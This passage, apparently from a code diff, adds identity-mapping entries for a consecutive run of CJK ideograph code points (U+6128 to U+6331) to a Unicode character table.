+ ["\u6128", "\u6128"], /* CJK Ideograph */
+ ["\u6129", "\u6129"], /* CJK Ideograph */
+ ["\u612A", "\u612A"], /* CJK Ideograph */
+ ["\u612B", "\u612B"], /* CJK Ideograph */
+ ["\u612C", "\u612C"], /* CJK Ideograph */
+ ["\u612D", "\u612D"], /* CJK Ideograph */
+ ["\u612E", "\u612E"], /* CJK Ideograph */
+ ["\u612F", "\u612F"], /* CJK Ideograph */
+ ["\u6130", "\u6130"], /* CJK Ideograph */
+ ["\u6131", "\u6131"], /* CJK Ideograph */
+ ["\u6132", "\u6132"], /* CJK Ideograph */
+ ["\u6133", "\u6133"], /* CJK Ideograph */
+ ["\u6134", "\u6134"], /* CJK Ideograph */
+ ["\u6135", "\u6135"], /* CJK Ideograph */
+ ["\u6136", "\u6136"], /* CJK Ideograph */
+ ["\u6137", "\u6137"], /* CJK Ideograph */
+ ["\u6138", "\u6138"], /* CJK Ideograph */
+ ["\u6139", "\u6139"], /* CJK Ideograph */
+ ["\u613A", "\u613A"], /* CJK Ideograph */
+ ["\u613B", "\u613B"], /* CJK Ideograph */
+ ["\u613C", "\u613C"], /* CJK Ideograph */
+ ["\u613D", "\u613D"], /* CJK Ideograph */
+ ["\u613E", "\u613E"], /* CJK Ideograph */
+ ["\u613F", "\u613F"], /* CJK Ideograph */
+ ["\u6140", "\u6140"], /* CJK Ideograph */
+ ["\u6141", "\u6141"], /* CJK Ideograph */
+ ["\u6142", "\u6142"], /* CJK Ideograph */
+ ["\u6143", "\u6143"], /* CJK Ideograph */
+ ["\u6144", "\u6144"], /* CJK Ideograph */
+ ["\u6145", "\u6145"], /* CJK Ideograph */
+ ["\u6146", "\u6146"], /* CJK Ideograph */
+ ["\u6147", "\u6147"], /* CJK Ideograph */
+ ["\u6148", "\u6148"], /* CJK Ideograph */
+ ["\u6149", "\u6149"], /* CJK Ideograph */
+ ["\u614A", "\u614A"], /* CJK Ideograph */
+ ["\u614B", "\u614B"], /* CJK Ideograph */
+ ["\u614C", "\u614C"], /* CJK Ideograph */
+ ["\u614D", "\u614D"], /* CJK Ideograph */
+ ["\u614E", "\u614E"], /* CJK Ideograph */
+ ["\u614F", "\u614F"], /* CJK Ideograph */
+ ["\u6150", "\u6150"], /* CJK Ideograph */
+ ["\u6151", "\u6151"], /* CJK Ideograph */
+ ["\u6152", "\u6152"], /* CJK Ideograph */
+ ["\u6153", "\u6153"], /* CJK Ideograph */
+ ["\u6154", "\u6154"], /* CJK Ideograph */
+ ["\u6155", "\u6155"], /* CJK Ideograph */
+ ["\u6156", "\u6156"], /* CJK Ideograph */
+ ["\u6157", "\u6157"], /* CJK Ideograph */
+ ["\u6158", "\u6158"], /* CJK Ideograph */
+ ["\u6159", "\u6159"], /* CJK Ideograph */
+ ["\u615A", "\u615A"], /* CJK Ideograph */
+ ["\u615B", "\u615B"], /* CJK Ideograph */
+ ["\u615C", "\u615C"], /* CJK Ideograph */
+ ["\u615D", "\u615D"], /* CJK Ideograph */
+ ["\u615E", "\u615E"], /* CJK Ideograph */
+ ["\u615F", "\u615F"], /* CJK Ideograph */
+ ["\u6160", "\u6160"], /* CJK Ideograph */
+ ["\u6161", "\u6161"], /* CJK Ideograph */
+ ["\u6162", "\u6162"], /* CJK Ideograph */
+ ["\u6163", "\u6163"], /* CJK Ideograph */
+ ["\u6164", "\u6164"], /* CJK Ideograph */
+ ["\u6165", "\u6165"], /* CJK Ideograph */
+ ["\u6166", "\u6166"], /* CJK Ideograph */
+ ["\u6167", "\u6167"], /* CJK Ideograph */
+ ["\u6168", "\u6168"], /* CJK Ideograph */
+ ["\u6169", "\u6169"], /* CJK Ideograph */
+ ["\u616A", "\u616A"], /* CJK Ideograph */
+ ["\u616B", "\u616B"], /* CJK Ideograph */
+ ["\u616C", "\u616C"], /* CJK Ideograph */
+ ["\u616D", "\u616D"], /* CJK Ideograph */
+ ["\u616E", "\u616E"], /* CJK Ideograph */
+ ["\u616F", "\u616F"], /* CJK Ideograph */
+ ["\u6170", "\u6170"], /* CJK Ideograph */
+ ["\u6171", "\u6171"], /* CJK Ideograph */
+ ["\u6172", "\u6172"], /* CJK Ideograph */
+ ["\u6173", "\u6173"], /* CJK Ideograph */
+ ["\u6174", "\u6174"], /* CJK Ideograph */
+ ["\u6175", "\u6175"], /* CJK Ideograph */
+ ["\u6176", "\u6176"], /* CJK Ideograph */
+ ["\u6177", "\u6177"], /* CJK Ideograph */
+ ["\u6178", "\u6178"], /* CJK Ideograph */
+ ["\u6179", "\u6179"], /* CJK Ideograph */
+ ["\u617A", "\u617A"], /* CJK Ideograph */
+ ["\u617B", "\u617B"], /* CJK Ideograph */
+ ["\u617C", "\u617C"], /* CJK Ideograph */
+ ["\u617D", "\u617D"], /* CJK Ideograph */
+ ["\u617E", "\u617E"], /* CJK Ideograph */
+ ["\u617F", "\u617F"], /* CJK Ideograph */
+ ["\u6180", "\u6180"], /* CJK Ideograph */
+ ["\u6181", "\u6181"], /* CJK Ideograph */
+ ["\u6182", "\u6182"], /* CJK Ideograph */
+ ["\u6183", "\u6183"], /* CJK Ideograph */
+ ["\u6184", "\u6184"], /* CJK Ideograph */
+ ["\u6185", "\u6185"], /* CJK Ideograph */
+ ["\u6186", "\u6186"], /* CJK Ideograph */
+ ["\u6187", "\u6187"], /* CJK Ideograph */
+ ["\u6188", "\u6188"], /* CJK Ideograph */
+ ["\u6189", "\u6189"], /* CJK Ideograph */
+ ["\u618A", "\u618A"], /* CJK Ideograph */
+ ["\u618B", "\u618B"], /* CJK Ideograph */
+ ["\u618C", "\u618C"], /* CJK Ideograph */
+ ["\u618D", "\u618D"], /* CJK Ideograph */
+ ["\u618E", "\u618E"], /* CJK Ideograph */
+ ["\u618F", "\u618F"], /* CJK Ideograph */
+ ["\u6190", "\u6190"], /* CJK Ideograph */
+ ["\u6191", "\u6191"], /* CJK Ideograph */
+ ["\u6192", "\u6192"], /* CJK Ideograph */
+ ["\u6193", "\u6193"], /* CJK Ideograph */
+ ["\u6194", "\u6194"], /* CJK Ideograph */
+ ["\u6195", "\u6195"], /* CJK Ideograph */
+ ["\u6196", "\u6196"], /* CJK Ideograph */
+ ["\u6197", "\u6197"], /* CJK Ideograph */
+ ["\u6198", "\u6198"], /* CJK Ideograph */
+ ["\u6199", "\u6199"], /* CJK Ideograph */
+ ["\u619A", "\u619A"], /* CJK Ideograph */
+ ["\u619B", "\u619B"], /* CJK Ideograph */
+ ["\u619C", "\u619C"], /* CJK Ideograph */
+ ["\u619D", "\u619D"], /* CJK Ideograph */
+ ["\u619E", "\u619E"], /* CJK Ideograph */
+ ["\u619F", "\u619F"], /* CJK Ideograph */
+ ["\u61A0", "\u61A0"], /* CJK Ideograph */
+ ["\u61A1", "\u61A1"], /* CJK Ideograph */
+ ["\u61A2", "\u61A2"], /* CJK Ideograph */
+ ["\u61A3", "\u61A3"], /* CJK Ideograph */
+ ["\u61A4", "\u61A4"], /* CJK Ideograph */
+ ["\u61A5", "\u61A5"], /* CJK Ideograph */
+ ["\u61A6", "\u61A6"], /* CJK Ideograph */
+ ["\u61A7", "\u61A7"], /* CJK Ideograph */
+ ["\u61A8", "\u61A8"], /* CJK Ideograph */
+ ["\u61A9", "\u61A9"], /* CJK Ideograph */
+ ["\u61AA", "\u61AA"], /* CJK Ideograph */
+ ["\u61AB", "\u61AB"], /* CJK Ideograph */
+ ["\u61AC", "\u61AC"], /* CJK Ideograph */
+ ["\u61AD", "\u61AD"], /* CJK Ideograph */
+ ["\u61AE", "\u61AE"], /* CJK Ideograph */
+ ["\u61AF", "\u61AF"], /* CJK Ideograph */
+ ["\u61B0", "\u61B0"], /* CJK Ideograph */
+ ["\u61B1", "\u61B1"], /* CJK Ideograph */
+ ["\u61B2", "\u61B2"], /* CJK Ideograph */
+ ["\u61B3", "\u61B3"], /* CJK Ideograph */
+ ["\u61B4", "\u61B4"], /* CJK Ideograph */
+ ["\u61B5", "\u61B5"], /* CJK Ideograph */
+ ["\u61B6", "\u61B6"], /* CJK Ideograph */
+ ["\u61B7", "\u61B7"], /* CJK Ideograph */
+ ["\u61B8", "\u61B8"], /* CJK Ideograph */
+ ["\u61B9", "\u61B9"], /* CJK Ideograph */
+ ["\u61BA", "\u61BA"], /* CJK Ideograph */
+ ["\u61BB", "\u61BB"], /* CJK Ideograph */
+ ["\u61BC", "\u61BC"], /* CJK Ideograph */
+ ["\u61BD", "\u61BD"], /* CJK Ideograph */
+ ["\u61BE", "\u61BE"], /* CJK Ideograph */
+ ["\u61BF", "\u61BF"], /* CJK Ideograph */
+ ["\u61C0", "\u61C0"], /* CJK Ideograph */
+ ["\u61C1", "\u61C1"], /* CJK Ideograph */
+ ["\u61C2", "\u61C2"], /* CJK Ideograph */
+ ["\u61C3", "\u61C3"], /* CJK Ideograph */
+ ["\u61C4", "\u61C4"], /* CJK Ideograph */
+ ["\u61C5", "\u61C5"], /* CJK Ideograph */
+ ["\u61C6", "\u61C6"], /* CJK Ideograph */
+ ["\u61C7", "\u61C7"], /* CJK Ideograph */
+ ["\u61C8", "\u61C8"], /* CJK Ideograph */
+ ["\u61C9", "\u61C9"], /* CJK Ideograph */
+ ["\u61CA", "\u61CA"], /* CJK Ideograph */
+ ["\u61CB", "\u61CB"], /* CJK Ideograph */
+ ["\u61CC", "\u61CC"], /* CJK Ideograph */
+ ["\u61CD", "\u61CD"], /* CJK Ideograph */
+ ["\u61CE", "\u61CE"], /* CJK Ideograph */
+ ["\u61CF", "\u61CF"], /* CJK Ideograph */
+ ["\u61D0", "\u61D0"], /* CJK Ideograph */
+ ["\u61D1", "\u61D1"], /* CJK Ideograph */
+ ["\u61D2", "\u61D2"], /* CJK Ideograph */
+ ["\u61D3", "\u61D3"], /* CJK Ideograph */
+ ["\u61D4", "\u61D4"], /* CJK Ideograph */
+ ["\u61D5", "\u61D5"], /* CJK Ideograph */
+ ["\u61D6", "\u61D6"], /* CJK Ideograph */
+ ["\u61D7", "\u61D7"], /* CJK Ideograph */
+ ["\u61D8", "\u61D8"], /* CJK Ideograph */
+ ["\u61D9", "\u61D9"], /* CJK Ideograph */
+ ["\u61DA", "\u61DA"], /* CJK Ideograph */
+ ["\u61DB", "\u61DB"], /* CJK Ideograph */
+ ["\u61DC", "\u61DC"], /* CJK Ideograph */
+ ["\u61DD", "\u61DD"], /* CJK Ideograph */
+ ["\u61DE", "\u61DE"], /* CJK Ideograph */
+ ["\u61DF", "\u61DF"], /* CJK Ideograph */
+ ["\u61E0", "\u61E0"], /* CJK Ideograph */
+ ["\u61E1", "\u61E1"], /* CJK Ideograph */
+ ["\u61E2", "\u61E2"], /* CJK Ideograph */
+ ["\u61E3", "\u61E3"], /* CJK Ideograph */
+ ["\u61E4", "\u61E4"], /* CJK Ideograph */
+ ["\u61E5", "\u61E5"], /* CJK Ideograph */
+ ["\u61E6", "\u61E6"], /* CJK Ideograph */
+ ["\u61E7", "\u61E7"], /* CJK Ideograph */
+ ["\u61E8", "\u61E8"], /* CJK Ideograph */
+ ["\u61E9", "\u61E9"], /* CJK Ideograph */
+ ["\u61EA", "\u61EA"], /* CJK Ideograph */
+ ["\u61EB", "\u61EB"], /* CJK Ideograph */
+ ["\u61EC", "\u61EC"], /* CJK Ideograph */
+ ["\u61ED", "\u61ED"], /* CJK Ideograph */
+ ["\u61EE", "\u61EE"], /* CJK Ideograph */
+ ["\u61EF", "\u61EF"], /* CJK Ideograph */
+ ["\u61F0", "\u61F0"], /* CJK Ideograph */
+ ["\u61F1", "\u61F1"], /* CJK Ideograph */
+ ["\u61F2", "\u61F2"], /* CJK Ideograph */
+ ["\u61F3", "\u61F3"], /* CJK Ideograph */
+ ["\u61F4", "\u61F4"], /* CJK Ideograph */
+ ["\u61F5", "\u61F5"], /* CJK Ideograph */
+ ["\u61F6", "\u61F6"], /* CJK Ideograph */
+ ["\u61F7", "\u61F7"], /* CJK Ideograph */
+ ["\u61F8", "\u61F8"], /* CJK Ideograph */
+ ["\u61F9", "\u61F9"], /* CJK Ideograph */
+ ["\u61FA", "\u61FA"], /* CJK Ideograph */
+ ["\u61FB", "\u61FB"], /* CJK Ideograph */
+ ["\u61FC", "\u61FC"], /* CJK Ideograph */
+ ["\u61FD", "\u61FD"], /* CJK Ideograph */
+ ["\u61FE", "\u61FE"], /* CJK Ideograph */
+ ["\u61FF", "\u61FF"], /* CJK Ideograph */
+ ["\u6200", "\u6200"], /* CJK Ideograph */
+ ["\u6201", "\u6201"], /* CJK Ideograph */
+ ["\u6202", "\u6202"], /* CJK Ideograph */
+ ["\u6203", "\u6203"], /* CJK Ideograph */
+ ["\u6204", "\u6204"], /* CJK Ideograph */
+ ["\u6205", "\u6205"], /* CJK Ideograph */
+ ["\u6206", "\u6206"], /* CJK Ideograph */
+ ["\u6207", "\u6207"], /* CJK Ideograph */
+ ["\u6208", "\u6208"], /* CJK Ideograph */
+ ["\u6209", "\u6209"], /* CJK Ideograph */
+ ["\u620A", "\u620A"], /* CJK Ideograph */
+ ["\u620B", "\u620B"], /* CJK Ideograph */
+ ["\u620C", "\u620C"], /* CJK Ideograph */
+ ["\u620D", "\u620D"], /* CJK Ideograph */
+ ["\u620E", "\u620E"], /* CJK Ideograph */
+ ["\u620F", "\u620F"], /* CJK Ideograph */
+ ["\u6210", "\u6210"], /* CJK Ideograph */
+ ["\u6211", "\u6211"], /* CJK Ideograph */
+ ["\u6212", "\u6212"], /* CJK Ideograph */
+ ["\u6213", "\u6213"], /* CJK Ideograph */
+ ["\u6214", "\u6214"], /* CJK Ideograph */
+ ["\u6215", "\u6215"], /* CJK Ideograph */
+ ["\u6216", "\u6216"], /* CJK Ideograph */
+ ["\u6217", "\u6217"], /* CJK Ideograph */
+ ["\u6218", "\u6218"], /* CJK Ideograph */
+ ["\u6219", "\u6219"], /* CJK Ideograph */
+ ["\u621A", "\u621A"], /* CJK Ideograph */
+ ["\u621B", "\u621B"], /* CJK Ideograph */
+ ["\u621C", "\u621C"], /* CJK Ideograph */
+ ["\u621D", "\u621D"], /* CJK Ideograph */
+ ["\u621E", "\u621E"], /* CJK Ideograph */
+ ["\u621F", "\u621F"], /* CJK Ideograph */
+ ["\u6220", "\u6220"], /* CJK Ideograph */
+ ["\u6221", "\u6221"], /* CJK Ideograph */
+ ["\u6222", "\u6222"], /* CJK Ideograph */
+ ["\u6223", "\u6223"], /* CJK Ideograph */
+ ["\u6224", "\u6224"], /* CJK Ideograph */
+ ["\u6225", "\u6225"], /* CJK Ideograph */
+ ["\u6226", "\u6226"], /* CJK Ideograph */
+ ["\u6227", "\u6227"], /* CJK Ideograph */
+ ["\u6228", "\u6228"], /* CJK Ideograph */
+ ["\u6229", "\u6229"], /* CJK Ideograph */
+ ["\u622A", "\u622A"], /* CJK Ideograph */
+ ["\u622B", "\u622B"], /* CJK Ideograph */
+ ["\u622C", "\u622C"], /* CJK Ideograph */
+ ["\u622D", "\u622D"], /* CJK Ideograph */
+ ["\u622E", "\u622E"], /* CJK Ideograph */
+ ["\u622F", "\u622F"], /* CJK Ideograph */
+ ["\u6230", "\u6230"], /* CJK Ideograph */
+ ["\u6231", "\u6231"], /* CJK Ideograph */
+ ["\u6232", "\u6232"], /* CJK Ideograph */
+ ["\u6233", "\u6233"], /* CJK Ideograph */
+ ["\u6234", "\u6234"], /* CJK Ideograph */
+ ["\u6235", "\u6235"], /* CJK Ideograph */
+ ["\u6236", "\u6236"], /* CJK Ideograph */
+ ["\u6237", "\u6237"], /* CJK Ideograph */
+ ["\u6238", "\u6238"], /* CJK Ideograph */
+ ["\u6239", "\u6239"], /* CJK Ideograph */
+ ["\u623A", "\u623A"], /* CJK Ideograph */
+ ["\u623B", "\u623B"], /* CJK Ideograph */
+ ["\u623C", "\u623C"], /* CJK Ideograph */
+ ["\u623D", "\u623D"], /* CJK Ideograph */
+ ["\u623E", "\u623E"], /* CJK Ideograph */
+ ["\u623F", "\u623F"], /* CJK Ideograph */
+ ["\u6240", "\u6240"], /* CJK Ideograph */
+ ["\u6241", "\u6241"], /* CJK Ideograph */
+ ["\u6242", "\u6242"], /* CJK Ideograph */
+ ["\u6243", "\u6243"], /* CJK Ideograph */
+ ["\u6244", "\u6244"], /* CJK Ideograph */
+ ["\u6245", "\u6245"], /* CJK Ideograph */
+ ["\u6246", "\u6246"], /* CJK Ideograph */
+ ["\u6247", "\u6247"], /* CJK Ideograph */
+ ["\u6248", "\u6248"], /* CJK Ideograph */
+ ["\u6249", "\u6249"], /* CJK Ideograph */
+ ["\u624A", "\u624A"], /* CJK Ideograph */
+ ["\u624B", "\u624B"], /* CJK Ideograph */
+ ["\u624C", "\u624C"], /* CJK Ideograph */
+ ["\u624D", "\u624D"], /* CJK Ideograph */
+ ["\u624E", "\u624E"], /* CJK Ideograph */
+ ["\u624F", "\u624F"], /* CJK Ideograph */
+ ["\u6250", "\u6250"], /* CJK Ideograph */
+ ["\u6251", "\u6251"], /* CJK Ideograph */
+ ["\u6252", "\u6252"], /* CJK Ideograph */
+ ["\u6253", "\u6253"], /* CJK Ideograph */
+ ["\u6254", "\u6254"], /* CJK Ideograph */
+ ["\u6255", "\u6255"], /* CJK Ideograph */
+ ["\u6256", "\u6256"], /* CJK Ideograph */
+ ["\u6257", "\u6257"], /* CJK Ideograph */
+ ["\u6258", "\u6258"], /* CJK Ideograph */
+ ["\u6259", "\u6259"], /* CJK Ideograph */
+ ["\u625A", "\u625A"], /* CJK Ideograph */
+ ["\u625B", "\u625B"], /* CJK Ideograph */
+ ["\u625C", "\u625C"], /* CJK Ideograph */
+ ["\u625D", "\u625D"], /* CJK Ideograph */
+ ["\u625E", "\u625E"], /* CJK Ideograph */
+ ["\u625F", "\u625F"], /* CJK Ideograph */
+ ["\u6260", "\u6260"], /* CJK Ideograph */
+ ["\u6261", "\u6261"], /* CJK Ideograph */
+ ["\u6262", "\u6262"], /* CJK Ideograph */
+ ["\u6263", "\u6263"], /* CJK Ideograph */
+ ["\u6264", "\u6264"], /* CJK Ideograph */
+ ["\u6265", "\u6265"], /* CJK Ideograph */
+ ["\u6266", "\u6266"], /* CJK Ideograph */
+ ["\u6267", "\u6267"], /* CJK Ideograph */
+ ["\u6268", "\u6268"], /* CJK Ideograph */
+ ["\u6269", "\u6269"], /* CJK Ideograph */
+ ["\u626A", "\u626A"], /* CJK Ideograph */
+ ["\u626B", "\u626B"], /* CJK Ideograph */
+ ["\u626C", "\u626C"], /* CJK Ideograph */
+ ["\u626D", "\u626D"], /* CJK Ideograph */
+ ["\u626E", "\u626E"], /* CJK Ideograph */
+ ["\u626F", "\u626F"], /* CJK Ideograph */
+ ["\u6270", "\u6270"], /* CJK Ideograph */
+ ["\u6271", "\u6271"], /* CJK Ideograph */
+ ["\u6272", "\u6272"], /* CJK Ideograph */
+ ["\u6273", "\u6273"], /* CJK Ideograph */
+ ["\u6274", "\u6274"], /* CJK Ideograph */
+ ["\u6275", "\u6275"], /* CJK Ideograph */
+ ["\u6276", "\u6276"], /* CJK Ideograph */
+ ["\u6277", "\u6277"], /* CJK Ideograph */
+ ["\u6278", "\u6278"], /* CJK Ideograph */
+ ["\u6279", "\u6279"], /* CJK Ideograph */
+ ["\u627A", "\u627A"], /* CJK Ideograph */
+ ["\u627B", "\u627B"], /* CJK Ideograph */
+ ["\u627C", "\u627C"], /* CJK Ideograph */
+ ["\u627D", "\u627D"], /* CJK Ideograph */
+ ["\u627E", "\u627E"], /* CJK Ideograph */
+ ["\u627F", "\u627F"], /* CJK Ideograph */
+ ["\u6280", "\u6280"], /* CJK Ideograph */
+ ["\u6281", "\u6281"], /* CJK Ideograph */
+ ["\u6282", "\u6282"], /* CJK Ideograph */
+ ["\u6283", "\u6283"], /* CJK Ideograph */
+ ["\u6284", "\u6284"], /* CJK Ideograph */
+ ["\u6285", "\u6285"], /* CJK Ideograph */
+ ["\u6286", "\u6286"], /* CJK Ideograph */
+ ["\u6287", "\u6287"], /* CJK Ideograph */
+ ["\u6288", "\u6288"], /* CJK Ideograph */
+ ["\u6289", "\u6289"], /* CJK Ideograph */
+ ["\u628A", "\u628A"], /* CJK Ideograph */
+ ["\u628B", "\u628B"], /* CJK Ideograph */
+ ["\u628C", "\u628C"], /* CJK Ideograph */
+ ["\u628D", "\u628D"], /* CJK Ideograph */
+ ["\u628E", "\u628E"], /* CJK Ideograph */
+ ["\u628F", "\u628F"], /* CJK Ideograph */
+ ["\u6290", "\u6290"], /* CJK Ideograph */
+ ["\u6291", "\u6291"], /* CJK Ideograph */
+ ["\u6292", "\u6292"], /* CJK Ideograph */
+ ["\u6293", "\u6293"], /* CJK Ideograph */
+ ["\u6294", "\u6294"], /* CJK Ideograph */
+ ["\u6295", "\u6295"], /* CJK Ideograph */
+ ["\u6296", "\u6296"], /* CJK Ideograph */
+ ["\u6297", "\u6297"], /* CJK Ideograph */
+ ["\u6298", "\u6298"], /* CJK Ideograph */
+ ["\u6299", "\u6299"], /* CJK Ideograph */
+ ["\u629A", "\u629A"], /* CJK Ideograph */
+ ["\u629B", "\u629B"], /* CJK Ideograph */
+ ["\u629C", "\u629C"], /* CJK Ideograph */
+ ["\u629D", "\u629D"], /* CJK Ideograph */
+ ["\u629E", "\u629E"], /* CJK Ideograph */
+ ["\u629F", "\u629F"], /* CJK Ideograph */
+ ["\u62A0", "\u62A0"], /* CJK Ideograph */
+ ["\u62A1", "\u62A1"], /* CJK Ideograph */
+ ["\u62A2", "\u62A2"], /* CJK Ideograph */
+ ["\u62A3", "\u62A3"], /* CJK Ideograph */
+ ["\u62A4", "\u62A4"], /* CJK Ideograph */
+ ["\u62A5", "\u62A5"], /* CJK Ideograph */
+ ["\u62A6", "\u62A6"], /* CJK Ideograph */
+ ["\u62A7", "\u62A7"], /* CJK Ideograph */
+ ["\u62A8", "\u62A8"], /* CJK Ideograph */
+ ["\u62A9", "\u62A9"], /* CJK Ideograph */
+ ["\u62AA", "\u62AA"], /* CJK Ideograph */
+ ["\u62AB", "\u62AB"], /* CJK Ideograph */
+ ["\u62AC", "\u62AC"], /* CJK Ideograph */
+ ["\u62AD", "\u62AD"], /* CJK Ideograph */
+ ["\u62AE", "\u62AE"], /* CJK Ideograph */
+ ["\u62AF", "\u62AF"], /* CJK Ideograph */
+ ["\u62B0", "\u62B0"], /* CJK Ideograph */
+ ["\u62B1", "\u62B1"], /* CJK Ideograph */
+ ["\u62B2", "\u62B2"], /* CJK Ideograph */
+ ["\u62B3", "\u62B3"], /* CJK Ideograph */
+ ["\u62B4", "\u62B4"], /* CJK Ideograph */
+ ["\u62B5", "\u62B5"], /* CJK Ideograph */
+ ["\u62B6", "\u62B6"], /* CJK Ideograph */
+ ["\u62B7", "\u62B7"], /* CJK Ideograph */
+ ["\u62B8", "\u62B8"], /* CJK Ideograph */
+ ["\u62B9", "\u62B9"], /* CJK Ideograph */
+ ["\u62BA", "\u62BA"], /* CJK Ideograph */
+ ["\u62BB", "\u62BB"], /* CJK Ideograph */
+ ["\u62BC", "\u62BC"], /* CJK Ideograph */
+ ["\u62BD", "\u62BD"], /* CJK Ideograph */
+ ["\u62BE", "\u62BE"], /* CJK Ideograph */
+ ["\u62BF", "\u62BF"], /* CJK Ideograph */
+ ["\u62C0", "\u62C0"], /* CJK Ideograph */
+ ["\u62C1", "\u62C1"], /* CJK Ideograph */
+ ["\u62C2", "\u62C2"], /* CJK Ideograph */
+ ["\u62C3", "\u62C3"], /* CJK Ideograph */
+ ["\u62C4", "\u62C4"], /* CJK Ideograph */
+ ["\u62C5", "\u62C5"], /* CJK Ideograph */
+ ["\u62C6", "\u62C6"], /* CJK Ideograph */
+ ["\u62C7", "\u62C7"], /* CJK Ideograph */
+ ["\u62C8", "\u62C8"], /* CJK Ideograph */
+ ["\u62C9", "\u62C9"], /* CJK Ideograph */
+ ["\u62CA", "\u62CA"], /* CJK Ideograph */
+ ["\u62CB", "\u62CB"], /* CJK Ideograph */
+ ["\u62CC", "\u62CC"], /* CJK Ideograph */
+ ["\u62CD", "\u62CD"], /* CJK Ideograph */
+ ["\u62CE", "\u62CE"], /* CJK Ideograph */
+ ["\u62CF", "\u62CF"], /* CJK Ideograph */
+ ["\u62D0", "\u62D0"], /* CJK Ideograph */
+ ["\u62D1", "\u62D1"], /* CJK Ideograph */
+ ["\u62D2", "\u62D2"], /* CJK Ideograph */
+ ["\u62D3", "\u62D3"], /* CJK Ideograph */
+ ["\u62D4", "\u62D4"], /* CJK Ideograph */
+ ["\u62D5", "\u62D5"], /* CJK Ideograph */
+ ["\u62D6", "\u62D6"], /* CJK Ideograph */
+ ["\u62D7", "\u62D7"], /* CJK Ideograph */
+ ["\u62D8", "\u62D8"], /* CJK Ideograph */
+ ["\u62D9", "\u62D9"], /* CJK Ideograph */
+ ["\u62DA", "\u62DA"], /* CJK Ideograph */
+ ["\u62DB", "\u62DB"], /* CJK Ideograph */
+ ["\u62DC", "\u62DC"], /* CJK Ideograph */
+ ["\u62DD", "\u62DD"], /* CJK Ideograph */
+ ["\u62DE", "\u62DE"], /* CJK Ideograph */
+ ["\u62DF", "\u62DF"], /* CJK Ideograph */
+ ["\u62E0", "\u62E0"], /* CJK Ideograph */
+ ["\u62E1", "\u62E1"], /* CJK Ideograph */
+ ["\u62E2", "\u62E2"], /* CJK Ideograph */
+ ["\u62E3", "\u62E3"], /* CJK Ideograph */
+ ["\u62E4", "\u62E4"], /* CJK Ideograph */
+ ["\u62E5", "\u62E5"], /* CJK Ideograph */
+ ["\u62E6", "\u62E6"], /* CJK Ideograph */
+ ["\u62E7", "\u62E7"], /* CJK Ideograph */
+ ["\u62E8", "\u62E8"], /* CJK Ideograph */
+ ["\u62E9", "\u62E9"], /* CJK Ideograph */
+ ["\u62EA", "\u62EA"], /* CJK Ideograph */
+ ["\u62EB", "\u62EB"], /* CJK Ideograph */
+ ["\u62EC", "\u62EC"], /* CJK Ideograph */
+ ["\u62ED", "\u62ED"], /* CJK Ideograph */
+ ["\u62EE", "\u62EE"], /* CJK Ideograph */
+ ["\u62EF", "\u62EF"], /* CJK Ideograph */
+ ["\u62F0", "\u62F0"], /* CJK Ideograph */
+ ["\u62F1", "\u62F1"], /* CJK Ideograph */
+ ["\u62F2", "\u62F2"], /* CJK Ideograph */
+ ["\u62F3", "\u62F3"], /* CJK Ideograph */
+ ["\u62F4", "\u62F4"], /* CJK Ideograph */
+ ["\u62F5", "\u62F5"], /* CJK Ideograph */
+ ["\u62F6", "\u62F6"], /* CJK Ideograph */
+ ["\u62F7", "\u62F7"], /* CJK Ideograph */
+ ["\u62F8", "\u62F8"], /* CJK Ideograph */
+ ["\u62F9", "\u62F9"], /* CJK Ideograph */
+ ["\u62FA", "\u62FA"], /* CJK Ideograph */
+ ["\u62FB", "\u62FB"], /* CJK Ideograph */
+ ["\u62FC", "\u62FC"], /* CJK Ideograph */
+ ["\u62FD", "\u62FD"], /* CJK Ideograph */
+ ["\u62FE", "\u62FE"], /* CJK Ideograph */
+ ["\u62FF", "\u62FF"], /* CJK Ideograph */
+ ["\u6300", "\u6300"], /* CJK Ideograph */
+ ["\u6301", "\u6301"], /* CJK Ideograph */
+ ["\u6302", "\u6302"], /* CJK Ideograph */
+ ["\u6303", "\u6303"], /* CJK Ideograph */
+ ["\u6304", "\u6304"], /* CJK Ideograph */
+ ["\u6305", "\u6305"], /* CJK Ideograph */
+ ["\u6306", "\u6306"], /* CJK Ideograph */
+ ["\u6307", "\u6307"], /* CJK Ideograph */
+ ["\u6308", "\u6308"], /* CJK Ideograph */
+ ["\u6309", "\u6309"], /* CJK Ideograph */
+ ["\u630A", "\u630A"], /* CJK Ideograph */
+ ["\u630B", "\u630B"], /* CJK Ideograph */
+ ["\u630C", "\u630C"], /* CJK Ideograph */
+ ["\u630D", "\u630D"], /* CJK Ideograph */
+ ["\u630E", "\u630E"], /* CJK Ideograph */
+ ["\u630F", "\u630F"], /* CJK Ideograph */
+ ["\u6310", "\u6310"], /* CJK Ideograph */
+ ["\u6311", "\u6311"], /* CJK Ideograph */
+ ["\u6312", "\u6312"], /* CJK Ideograph */
+ ["\u6313", "\u6313"], /* CJK Ideograph */
+ ["\u6314", "\u6314"], /* CJK Ideograph */
+ ["\u6315", "\u6315"], /* CJK Ideograph */
+ ["\u6316", "\u6316"], /* CJK Ideograph */
+ ["\u6317", "\u6317"], /* CJK Ideograph */
+ ["\u6318", "\u6318"], /* CJK Ideograph */
+ ["\u6319", "\u6319"], /* CJK Ideograph */
+ ["\u631A", "\u631A"], /* CJK Ideograph */
+ ["\u631B", "\u631B"], /* CJK Ideograph */
+ ["\u631C", "\u631C"], /* CJK Ideograph */
+ ["\u631D", "\u631D"], /* CJK Ideograph */
+ ["\u631E", "\u631E"], /* CJK Ideograph */
+ ["\u631F", "\u631F"], /* CJK Ideograph */
+ ["\u6320", "\u6320"], /* CJK Ideograph */
+ ["\u6321", "\u6321"], /* CJK Ideograph */
+ ["\u6322", "\u6322"], /* CJK Ideograph */
+ ["\u6323", "\u6323"], /* CJK Ideograph */
+ ["\u6324", "\u6324"], /* CJK Ideograph */
+ ["\u6325", "\u6325"], /* CJK Ideograph */
+ ["\u6326", "\u6326"], /* CJK Ideograph */
+ ["\u6327", "\u6327"], /* CJK Ideograph */
+ ["\u6328", "\u6328"], /* CJK Ideograph */
+ ["\u6329", "\u6329"], /* CJK Ideograph */
+ ["\u632A", "\u632A"], /* CJK Ideograph */
+ ["\u632B", "\u632B"], /* CJK Ideograph */
+ ["\u632C", "\u632C"], /* CJK Ideograph */
+ ["\u632D", "\u632D"], /* CJK Ideograph */
+ ["\u632E", "\u632E"], /* CJK Ideograph */
+ ["\u632F", "\u632F"], /* CJK Ideograph */
+ ["\u6330", "\u6330"], /* CJK Ideograph */
+ ["\u6331", "\u6331"], /* CJK Ideograph */
